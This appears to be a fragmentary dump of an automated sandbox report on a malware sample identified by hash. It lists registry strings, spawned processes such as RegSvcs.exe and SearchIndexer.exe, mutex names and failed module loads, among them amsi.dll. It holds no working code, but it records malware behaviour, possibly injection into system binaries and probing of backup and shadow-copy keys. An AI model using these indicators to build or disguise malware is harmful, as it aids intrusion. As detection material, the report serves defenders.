00000000-00002944.00000002.76003.002A0000.00000004.mdmp "SYSTEM\CurrentControlSet\Control" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "SYSTEM\ControlSet001\Control\MiniNT" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp 00000000-00004504.00000000.72490.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Services\wbengine" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "Software\Policies\Microsoft\Windows\Backup\Client" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "Software\Policies\Microsoft\Windows\Backup\Server" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "Software\Microsoft\Windows NT\CurrentVersion\SystemRestore" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Services\VSS\VssAccessControl" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp 00000000-00004504.00000000.72490.00001000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Windows Block Level Backup" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "System\CurrentControlSet\Control\ProductOptions" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "software\microsoft\windows nt\currentversion\windowsserverbackup\Application Support" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToBackup" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp 00000000-00004504.00000000.72490.00001000.00000020.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "SOFTWARE\Microsoft\Microsoft Data Protection Manager\Agent\2.0\UsnJournal" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "SOFTWARE\Microsoft\Microsoft Data Protection Manager\Agent\2.0" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Services\wbengine\SystemStateBackup" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Services\wbengine\SystemStateRestore" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsBackup" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "Registry\Machine\System\CurrentControlSet\BootConfigurationData" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "Registry\Machine\SYSTEM\CurrentControlSet\Control" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp 00000000-00004504.00000000.72490.00001000.00000020.mdmp "Registry\Machine\SYSTEM\CurrentControlSet\Control\Syspart" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp 00000000-00004504.00000000.72490.00001000.00000020.mdmp "HKU\" in Source: 00000000-00004204.00000000.71804.00001000.00000020.mdmp "HKLM\" in Source: 00000000-00004204.00000000.71804.00001000.00000020.mdmp "HKCU\" in Source: 00000000-00004204.00000000.71804.00001000.00000020.mdmp "HKCR\" in Source: 00000000-00004204.00000000.71804.00001000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Installer" in Source: 00000000-00004204.00000000.71804.00001000.00000020.mdmp "Software\Classes\Installer" in Source: 00000000-00004204.00000000.71804.00001000.00000020.mdmp "Software\Policies\Microsoft\Windows\Installer" in Source: 00000000-00004204.00000000.71804.00001000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Installer\RunOnceEntries" in Source: 00000000-00004204.00000000.71804.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Services\VSS\Settings" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Services\VSS\Diag" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\Safeboot\Option" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\ProductOptions" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "Software\Microsoft\Windows NT\CurrentVersion\ProfileList" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Services\VSS" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "RegCreateKeyExW(HKLM\%s,%s,...)" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "RegCreateKeyExW(HKLM\%s\%s,%s,...)" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "RegCreateKeyExW(HKLM\%s\%s,%s,...,[%d])" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "RegSetValueExW(HKLM\%s\%s\%s,%s,0,REG_SZ,%s.%d)" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "RegSetValueExW(HKLM\%s\%s\%s,%s,0,REG_DWORD,%d,%d)" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "RegCreateKeyExW(HKLM\%s\%s\%s,%s,...)" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "RegSetValueExW(HKLM\%s\%s\%s\%s,%s,0,REG_SZ,%s.%d)" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "RegEnumKeyExW(HKLM\%s\%s,%s,%d,...)" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "Force flag given but registry key SYSTEM\CurrentControlSet\Services\VSS\Settings, value name BlockSignatureRevert." in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "SOFTWARE\MICROSOFT\WINDOWS NT\CurrentVersion\ASR\BackupSession" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp5e:T902,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" with parameter C:\Users\%OSUSER% (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00003968) "powershell.exe" with parameter C:\Users\%OSUSER% (UID: 00000000-00001268) "powershell.exe" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00001268) "RegSvcs.exe" with parameter %APPDATA%\Microsoft\Windows\Templates\%OSUSER%-PC-%OSUSER% (UID: 00000000-00004636) "SearchIndexer.exe" with parameter %WINDIR%\system32\config\systemprofile (UID: 00000000-00004520) "SearchIndexer.exe" with parameter %WINDIR%\system32\config\systemprofile\AppData\Local (UID: 00000000-00004520) "SearchIndexer.exe" with parameter C:\ProgramData (UID: 00000000-00004520) "SearchIndexer.exe" with parameter %ALLUSERSPROFILE%\Microsoft (UID: 00000000-00004520) "SearchIndexer.exe" with parameter %ALLUSERSPROFILE%\Microsoft\Search (UID: 00000000-00004520) "SearchIndexer.exe" with parameter %ALLUSERSPROFILE%\Microsoft\Search\Data (UID: 00000000-00004520) "SearchIndexer.exe" with parameter %ALLUSERSPROFILE%\Microsoft\Search\Data\Temp (UID: 00000000-00004520) "SearchIndexer.exe" with parameter %ALLUSERSPROFILE%\Microsoft\Search\Data\Temp\usgthrsvc (UID: 00000000-00004520) "SearchIndexer.exe" with parameter %ALLUSERSPROFILE%\Microsoft\Search\Data\Applications (UID: 00000000-00004520) "SearchIndexer.exe" with parameter %ALLUSERSPROFILE%\Microsoft\Search\Data\Applications\Windows (UID: 00000000-00004520) "SearchIndexer.exe" with parameter %ALLUSERSPROFILE%\Microsoft\Search\Data\Applications\Windows\GatherLogs (UID: 00000000-00004520) "SearchIndexer.exe" with parameter %ALLUSERSPROFILE%\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex (UID: 00000000-00004520) "SearchIndexer.exe" with parameter %ALLUSERSPROFILE%\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\PropMap (UID: 00000000-00004520) "SearchIndexer.exe" with parameter %ALLUSERSPROFILE%\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex (UID: 00000000-00004520)5f:T932,Process 8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\CLR_PerfMon_WrapMutex" Process 8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process 8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process 8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process 8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe created mutex with name "Global\CLR_PerfMon_WrapMutex" Process 8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe created mutex with name "Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\CLR_PerfMon_WrapMutex" Process powershell.exe created mutex with name "Global\CLR_PerfMon_WrapMutex" Process powershell.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process RegSvcs.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-385ff1036e8a03cb-inf" Process RegSvcs.exe created mutex with name "Global\Multiarch.m0yv-385ff1036e8a03cb-inf" Process RegSvcs.exe created mutex with name "Global\Multiarch.m0yv-385ff1036e8a03cbadad7ef4-b" Process RegSvcs.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-385ff1036e8a03cbadad7ef4-b" Process SearchIndexer.exe created mutex with name "\BaseNamedObjects\Global\Multiarch.m0yv-385ff1036e8a03cb9ea72c54-b" Process SearchIndexer.exe created mutex with name "\BaseNamedObjects\SearchServiceMUT" Process SearchIndexer.exe created mutex with name "\BaseNamedObjects\Global\Multiarch.m0yv-385ff1036e8a03cb-inf" Process SearchIndexer.exe created mutex with name "\BaseNamedObjects\Local\WindowsSearchService_EfsRegKeysMutex"60:T1abe,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" - [base:0; Status:c0000135] "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll" - [base:0; Status:c0000135] "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\WINTRUST.dll" - [base:0; Status:c0000135] "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" failed to load missing module "amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "RegSvcs.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "RegSvcs.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "RegSvcs.exe" failed to load missing module "%PUBLIC%\Libraries\vbsqlite3.dll" - [base:0; Status:c0000135] "RegSvcs.exe" failed to load missing module "winsqlite3.dll" - [base:0; Status:c0000135] "SearchIndexer.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "SearchIndexer.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "SearchIndexer.exe" failed to load missing module "%WINDIR%\system32\msfte.dll" - [base:0; Status:c0000135] "SearchIndexer.exe" failed to load missing module "%WINDIR%\system32\msTracer.dll" - [base:0; Status:c0000135] "SearchProtocolHost.exe" failed to load missing module "%WINDIR%\system32\msfte.dll" - [base:0; Status:c0000135] "SearchProtocolHost.exe" failed to load missing module "%WINDIR%\system32\msTracer.dll" - [base:0; Status:c0000135]61:T61f,Observed unmanaged function "TG_GetDriverVersion" in "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Observed unmanaged function "TG_GetNewConnectionId" in "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Observed unmanaged function "TG_SetStreamLog" in "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Observed unmanaged function "TG_SetDataLog" in "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Observed unmanaged function "TG_Connect" in "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Observed unmanaged function "TG_ReadPackets" in "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Observed unmanaged function "TG_GetValue" in "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Observed unmanaged function "TG_GetValueStatus" in "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Observed unmanaged function "TG_SendByte" in "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Observed unmanaged function "TG_SetBaudrate" in "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Observed unmanaged function "TG_SetDataFormat" in "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Observed unmanaged function "TG_Disconnect" in "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Observed unmanaged function "TG_FreeConnection" in "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe"62:T4587,"Software\Microsoft\Fax\Accounts" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Receipts" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Routing Extensions" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Client" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Client\ServiceStartup" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Security" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Devices Cache" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Outbound Routing" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Outbound Routing\Groups" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Outbound Routing\Rules" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Devices" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\TAPIDevices" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Setup" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Logging" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Setup\Original Setup Data" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\ActivityLogging" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Device Providers" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Modules" in Source: 00000000-00002944.00000000.72156.002A0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects" in Source: 00000000-00002944.00000000.72156.002A0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Modules" in Source: 00000000-00002944.00000001.74081.002A0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects" in Source: 00000000-00002944.00000001.74081.002A0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Modules" in Source: 00000000-00002944.00000002.76003.002A0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects" in Source: 00000000-00002944.00000002.76003.002A0000.00000004.mdmp "SYSTEM\CurrentControlSet\Control" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "SYSTEM\ControlSet001\Control\MiniNT" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Services\wbengine" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "Software\Policies\Microsoft\Windows\Backup\Client" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "Software\Policies\Microsoft\Windows\Backup\Server" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "Software\Microsoft\Windows NT\CurrentVersion\SystemRestore" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Services\VSS\VssAccessControl" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Windows Block Level Backup" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "System\CurrentControlSet\Control\ProductOptions" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "software\microsoft\windows nt\currentversion\windowsserverbackup\Application Support" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToBackup" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "SOFTWARE\Microsoft\Microsoft Data Protection Manager\Agent\2.0\UsnJournal" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "SOFTWARE\Microsoft\Microsoft Data Protection Manager\Agent\2.0" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Services\wbengine\SystemStateBackup" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Services\wbengine\SystemStateRestore" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsBackup" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "Registry\Machine\System\CurrentControlSet\BootConfigurationData" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "Registry\Machine\SYSTEM\CurrentControlSet\Control" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "Registry\Machine\SYSTEM\CurrentControlSet\Control\Syspart" in Source: 00000000-00002972.00000000.72622.00001000.00000020.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003968.00000001.69471.00990000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003968.00000001.69471.00990000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00003968.00000001.69471.00990000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00003968.00000001.69471.00990000.00000004.mdmp "REGISTRY\USER\S-1-5-21-686412048-2446563785-1323799475-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00003968.00000001.69471.00990000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003968.00000002.69543.00990000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003968.00000002.69543.00990000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00003968.00000002.69543.00990000.00000004.mdmp "REGISTRY\USER\S-1-5-21-686412048-2446563785-1323799475-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00003968.00000002.69543.00990000.00000004.mdmp "REGISTRY\USER\S-1-5-21-686412048-2446563785-1323799475-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" in Source: 00000000-00003968.00000002.69543.06010000.00000004.mdmp "REGISTRY\USER\S-1-5-21-686412048-2446563785-1323799475-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00003968.00000002.69543.06010000.00000004.mdmp "HKU\" in Source: 00000000-00004204.00000000.71804.00001000.00000020.mdmp "HKLM\" in Source: 00000000-00004204.00000000.71804.00001000.00000020.mdmp "HKCU\" in Source: 00000000-00004204.00000000.71804.00001000.00000020.mdmp "HKCR\" in Source: 00000000-00004204.00000000.71804.00001000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Installer" in Source: 00000000-00004204.00000000.71804.00001000.00000020.mdmp "Software\Classes\Installer" in Source: 00000000-00004204.00000000.71804.00001000.00000020.mdmp "Software\Policies\Microsoft\Windows\Installer" in Source: 00000000-00004204.00000000.71804.00001000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Installer\RunOnceEntries" in Source: 00000000-00004204.00000000.71804.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Services\VSS\Settings" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Services\VSS\Diag" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\Safeboot\Option" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\ProductOptions" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "SYSTEM\ControlSet001\Control\MiniNT" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "Software\Microsoft\Windows NT\CurrentVersion\ProfileList" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Services\VSS\VssAccessControl" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "SYSTEM\CurrentControlSet\Services\VSS" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "RegCreateKeyExW(HKLM\%s,%s,...)" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "RegCreateKeyExW(HKLM\%s\%s,%s,...)" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "RegCreateKeyExW(HKLM\%s\%s,%s,...,[%d])" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "RegSetValueExW(HKLM\%s\%s\%s,%s,0,REG_SZ,%s.%d)" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "RegSetValueExW(HKLM\%s\%s\%s,%s,0,REG_DWORD,%d,%d)" in Source: 00000000-00004504.00000000.72490.00001000.00000020.mdmp "RegCreateKeyExW(HKLM\%s\%s\%s,%s,...)" in Source: 